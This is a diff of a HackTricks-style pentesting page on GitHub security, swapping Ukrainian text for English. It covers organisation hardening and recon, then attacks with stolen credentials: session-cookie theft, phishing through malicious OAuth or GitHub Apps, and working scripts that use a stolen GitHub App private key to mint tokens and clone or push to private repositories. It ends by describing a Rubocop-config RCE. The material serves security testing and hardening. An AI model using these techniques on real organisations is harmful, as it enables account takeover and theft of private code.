- **Увімкнути список дозволених для злиття**: Тільки користувачі/команди зі списку дозволених можуть зливати PR.
|
||||
- **Увімкнути перевірки статусу:** Вимагати, щоб перевірки статусу пройшли перед злиттям.
|
||||
- **Вимагати схвалення**: Вказати кількість схвалень, необхідних перед злиттям PR.
|
||||
- **Обмежити схвалення для списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR.
|
||||
- **Блокувати злиття на основі відхилених оглядів**: Якщо запитуються зміни, його не можна зливати (навіть якщо інші перевірки проходять)
|
||||
- **Блокувати злиття на основі офіційних запитів на огляд**: Якщо є офіційні запити на огляд, його не можна зливати
|
||||
- **Скасувати застарілі схвалення**: Коли є нові коміти, старі схвалення будуть скасовані.
|
||||
- **Вимагати підписаних комітів**: Коміти повинні бути підписані.
|
||||
- **Блокувати злиття, якщо запит на злиття застарілий**
|
||||
- **Захищені/незахищені шаблони файлів**: Вказати шаблони файлів для захисту/незахисту від змін
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
|
||||
> [!NOTE]
|
||||
> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам відправляти код у master**, наприклад, для компрометації CI/CD конвеєра.
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,236 +2,249 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Github
|
||||
## What is Github
|
||||
|
||||
(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
|
||||
### Основна інформація
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Зовнішнє розвідка
|
||||
## External Recon
|
||||
|
||||
Репозиторії Github можуть бути налаштовані як публічні, приватні та внутрішні.
|
||||
Github repositories can be configured as public, private and internal.
|
||||
|
||||
- **Приватний** означає, що **тільки** люди з **організації** зможуть отримати до них доступ
|
||||
- **Внутрішній** означає, що **тільки** люди з **підприємства** (підприємство може мати кілька організацій) зможуть отримати до нього доступ
|
||||
- **Публічний** означає, що **весь інтернет** зможе отримати до нього доступ.
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
|
||||
Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks** для пошуку чутливої інформації або шукати **витоки чутливої інформації** **в кожному репозиторії**.
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторій або організацію**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**.
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
|
||||
Інструменти (кожен інструмент містить свій список dorks):
|
||||
Tools (each tool contains its list of dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Список Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Список Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Список Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Витоки
|
||||
### Github Leaks
|
||||
|
||||
Зверніть увагу, що github dorks також призначені для пошуку витоків, використовуючи параметри пошуку github. Цей розділ присвячений тим інструментам, які **завантажують кожен репозиторій і шукають чутливу інформацію в них** (навіть перевіряючи певну глибину комітів).
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
|
||||
Інструменти (кожен інструмент містить свій список regex):
|
||||
Tools (each tool contains its list of regexes):
|
||||
|
||||
Перевірте цю сторінку: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на зразок `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
|
||||
### Зовнішні форки
|
||||
### External Forks
|
||||
|
||||
Можливо **компрометувати репозиторії, зловживаючи запитами на злиття**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](#execution-from-a-external-fork).
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Витоки в видалених/внутрішніх форках
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
Навіть якщо видалені або внутрішні, може бути можливим отримати чутливі дані з форків репозиторіїв github. Перевірте це тут:
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Укріплення організації
|
||||
## Organization Hardening
|
||||
|
||||
### Привілеї учасників
|
||||
### Member Privileges
|
||||
|
||||
Є деякі **за замовчуванням привілеї**, які можуть бути надані **учасникам** організації. Їх можна контролювати зі сторінки `https://github.com/organizations/<org_name>/settings/member_privileges` або з [**API організацій**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується **None** або **Read**.
|
||||
- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкувати репозиторії організації.
|
||||
- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створювати публічні або приватні сторінки.
|
||||
- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінювати його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Видалення та передача репозиторію**: Якщо увімкнено, учасники з **адміністративними** правами для репозиторію зможуть **видаляти** або **передавати** публічні та приватні **репозиторії**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Дозволити учасникам створювати команди**: Якщо увімкнено, будь-який **учасник** організації зможе **створювати** нові **команди**. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Більше речей можна налаштувати** на цій сторінці, але попередні є найбільш пов'язаними з безпекою.
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
|
||||
### Налаштування дій
|
||||
### Actions Settings
|
||||
|
||||
Кілька налаштувань, пов'язаних з безпекою, можна налаштувати для дій зі сторінки `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що всі ці конфігурації також можуть бути встановлені для кожного репозиторію незалежно
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
|
||||
- **Політики дій Github**: Це дозволяє вам вказати, які репозиторії можуть виконувати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватися.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Робочі процеси запитів на злиття з зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Виконання робочих процесів з запитів на злиття**: Дуже **не рекомендується виконувати робочі процеси з запитів на злиття**, оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Дозволи робочих процесів**: Дуже рекомендується **надавати лише права читання на репозиторії**. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Інтеграції
|
||||
### Integrations
|
||||
|
||||
_Дайте знати, якщо ви знаєте кінцеву точку API для доступу до цієї інформації!_
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
|
||||
- **Політика доступу до сторонніх додатків**: Рекомендується обмежити доступ до кожного додатку та дозволити лише необхідні (після їх перегляду).
|
||||
- **Встановлені додатки GitHub**: Рекомендується дозволяти лише необхідні (після їх перегляду).
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
|
||||
## Розвідка та атаки, що зловживають обліковими даними
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github.
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
### З обліковими даними користувача
|
||||
### With User Credentials
|
||||
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача в організації, ви можете **просто увійти** і перевірити, які **ролі підприємства та організації у вас є**, якщо ви звичайний учасник, перевірте, які **привілеї мають звичайні учасники**, в яких **групах** ви знаходитесь, які **привілеї ви маєте** над якими **репозиторіями** та **як захищені репозиторії**.
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
|
||||
Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо ви **зумієте вкрасти cookie `user_session`** (в даний час налаштоване з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
Перевірте розділ нижче про [**обхід захисту гілок**](#branch-protection-bypass), якщо це буде корисно.
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
|
||||
### З SSH ключем користувача
|
||||
### With User SSH Key
|
||||
|
||||
Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до API github для перерахунку середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\<github_username>.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний.
|
||||
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі для розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами для розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG ключі
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Перевірте локально, чи має поточний користувач будь-який ключ за допомогою:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### З токеном користувача
|
||||
|
||||
Для введення про [**токени користувача перевірте основну інформацію**](basic-github-information.md#personal-access-tokens).
|
||||
### With User Token
|
||||
|
||||
Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може використовуватися для [**автентифікації до API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Токен користувача виглядає так: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
|
||||
### З Oauth-додатком
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
Для введення про [**додатки Github Oauth перевірте основну інформацію**](basic-github-information.md#oauth-applications).
|
||||
### With Oauth Application
|
||||
|
||||
Зловмисник може створити **шкідливий Oauth-додаток** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії.
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
|
||||
Це [обсяги, які може запитувати Oauth-додаток](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Завжди слід перевіряти запитувані обсяги перед їх прийняттям.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
Більше того, як пояснено в основній інформації, **організації можуть надавати/відмовляти в доступі стороннім додаткам** до інформації/репозиторіїв/дій, пов'язаних з організацією.
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
|
||||
### З додатком Github
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
Для введення про [**додатки Github перевірте основну інформацію**](basic-github-information.md#github-applications).
|
||||
### With Github Application
|
||||
|
||||
Зловмисник може створити **шкідливий додаток Github** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії.
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
|
||||
Більше того, як пояснено в основній інформації, **організації можуть надавати/відмовляти в доступі стороннім додаткам** до інформації/репозиторіїв/дій, пов'язаних з організацією.
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
#### Видавати себе за додаток GitHub з його приватним ключем (JWT → токени доступу до установок)
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
Якщо ви отримаєте приватний ключ (PEM) додатка GitHub, ви можете повністю видати себе за додаток у всіх його установках:
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
|
||||
- Згенеруйте короткочасний JWT, підписаний приватним ключем
|
||||
- Викликайте REST API додатка GitHub для перерахунку установок
|
||||
- Створіть токени доступу для кожної установки та використовуйте їх для переліку/клонування/пушу до репозиторіїв, наданих цій установці
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
|
||||
Вимоги:
|
||||
- Приватний ключ додатка GitHub (PEM)
|
||||
- ID додатка GitHub (числовий). GitHub вимагає, щоб iss був ID додатка
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
|
||||
Створити JWT (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
Список установок для автентифікованого додатку:
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
Створіть токен доступу для встановлення (діє ≤ 10 хвилин):
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
Використовуйте токен для доступу до коду. Ви можете клонувати або відправляти зміни, використовуючи форму URL x‑access‑token:
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
Програмний PoC для націлювання на конкретну організацію та перелікування приватних репозиторіїв (PyGithub + PyJWT):
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Примітки:
|
||||
- Токени встановлення успадковують точно дозволи на рівні репозиторію програми (наприклад, contents: write, pull_requests: write)
|
||||
- Токени діють ≤10 хвилин, але нові токени можуть бути створені без обмежень, поки ви зберігаєте приватний ключ
|
||||
- Ви також можете перерахувати установки через REST API (GET /app/installations), використовуючи JWT
|
||||
|
||||
## Компрометація та зловживання Github Action
|
||||
Notes:
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
|
||||
Існує кілька технік для компрометації та зловживання Github Action, перевірте їх тут:
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Зловживання сторонніми GitHub Apps, що виконують зовнішні інструменти (Rubocop extension RCE)
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
|
||||
Деякі GitHub Apps та сервіси перевірки PR виконують зовнішні лінтери/SAST проти pull-запитів, використовуючи конфігураційні файли, контрольовані репозиторієм. Якщо підтримуваний інструмент дозволяє динамічне завантаження коду, PR може досягти RCE на виконувачі сервісу.
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
|
||||
Приклад: Rubocop підтримує завантаження розширень з його YAML конфігурації. Якщо сервіс передає .rubocop.yml, наданий репозиторієм, ви можете виконати довільний Ruby, вимагаючи локальний файл.
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
|
||||
- Умови спрацьовування зазвичай включають:
|
||||
- Інструмент увімкнено в сервісі
|
||||
- PR містить файли, які розпізнає інструмент (для Rubocop: .rb)
|
||||
- Репозиторій містить конфігураційний файл інструменту (Rubocop шукає .rubocop.yml будь-де)
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
